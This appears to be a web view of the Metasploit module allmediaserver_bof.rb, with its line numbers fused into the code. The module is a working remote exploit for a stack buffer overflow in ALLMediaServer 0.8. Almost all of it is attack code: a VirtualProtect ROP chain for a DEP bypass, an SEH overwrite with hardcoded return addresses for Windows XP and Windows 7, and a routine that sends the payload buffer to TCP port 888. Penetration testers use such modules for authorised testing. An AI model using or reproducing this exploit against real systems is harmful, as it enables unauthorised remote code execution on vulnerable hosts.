Path: blob/master/modules/exploits/windows/misc/allmediaserver_bof.rb
19715 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Seh1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'ALLMediaServer 0.8 Buffer Overflow',16'Description' => %q{17This module exploits a stack buffer overflow in ALLMediaServer 0.8. The vulnerability18is caused due to a boundary error within the handling of HTTP request.1920While the exploit supports DEP bypass via ROP, on Windows 7 the stack pivoting isn't21reliable across virtual (VMWare, VirtualBox) and physical environments. Because of22this the module isn't using DEP bypass on the Windows 7 SP1 target, where by default23DEP is OptIn and AllMediaServer won't run with DEP.24},25'License' => MSF_LICENSE,26'Author' => [27'motaz reda <motazkhodair[at]gmail.com>', # Original discovery28'modpr0be <tom[at]spentera.com>', # Metasploit module29'juan vazquez' # More improvement30],31'References' => [32[ 'CVE', '2017-17932' ],33[ 'OSVDB', '83889' ],34[ 'EDB', '19625' ]35],36'DefaultOptions' => {37'EXITFUNC' => 'thread', # none/process/thread/seh38},39'Platform' => 'win',40'Payload' => {41'BadChars' => "",42'Space' => 660,43'DisableNops' => true44},4546'Targets' => [47[48'ALLMediaServer 0.8 / Windows XP SP3 - English',49{50'Ret' => 0x65ec74dc, # ADD ESP,6CC # POP # POP # POP # RET - avcoded-53.dll51'OffsetRop' => 696,52'jmp' => 264,53'Offset' => 107254}55],56[57'ALLMediaServer 0.8 / Windows 7 SP1 - English',58{59'Ret' => 0x6ac5cc92, # ppr from avformat-53.dll60'Offset' => 107261}62],63],64'Privileged' => false,65'DisclosureDate' => '2012-07-04',66'DefaultTarget' => 1,67'Notes' => {68'Reliability' => UNKNOWN_RELIABILITY,69'Stability' => UNKNOWN_STABILITY,70'SideEffects' => UNKNOWN_SIDE_EFFECTS71}72)73)7475register_options([Opt::RPORT(888)])76end7778def junk(n = 1)79return [rand_text_alpha(4).unpack("L")[0]] * n80end8182def nops(rop = false, n = 1)83return rop ? [0x665a0aa1] * n : [0x90909090] * n84end8586def asm(code)87Metasm::Shellcode.assemble(Metasm::Ia32.new, code).encode_string88end8990def exploit91# with help from mona :)92rop = [93nops(true, 12), # ROP NOP940x65f6faa7, # POP EAX # RETN950x671ee4e0, # ptr to &VirtualProtect()960x6ac1ccb4, # MOV EAX,DWORD PTR DS:[EAX] # RETN970x667ceedf, # PUSH EAX # POP ESI # POP EDI # RETN98junk,990x65f5f09d, # POP EBP # RETN1000x65f9830d, # & call esp1010x6ac1c1d5, # POP EBX # RETN1020x00000600, # 0x00000320-> ebx1030x6672a1e2, # POP EDX # RETN1040x00000040, # 0x00000040-> edx1050x665a09df, # POP ECX # RETN1060x6ad58a3d, # &Writable location1070x6ac7a771, # POP EDI # RETN108nops(true), # RETN (ROP NOP)1090x6682f9f4, # POP EAX # RETN110nops, # nop1110x663dcbd2 # PUSHAD # RETN112].flatten.pack("V*")113114connect115116if target.name =~ /Windows 7/117buffer = rand_text(target['Offset'])118buffer << generate_seh_record(target.ret)119buffer << payload.encoded120else121buffer = rand_text(target['OffsetRop']) # junk122buffer << rop123buffer << asm("jmp $+0x#{target['jmp'].to_s(16)}") # jmp to payload124buffer << rand_text(target['Offset'] - buffer.length)125buffer << generate_seh_record(target.ret)126buffer << payload.encoded127end128129print_status("Sending payload to ALLMediaServer on #{target.name}...")130sock.put(buffer)131132disconnect133end134end135136137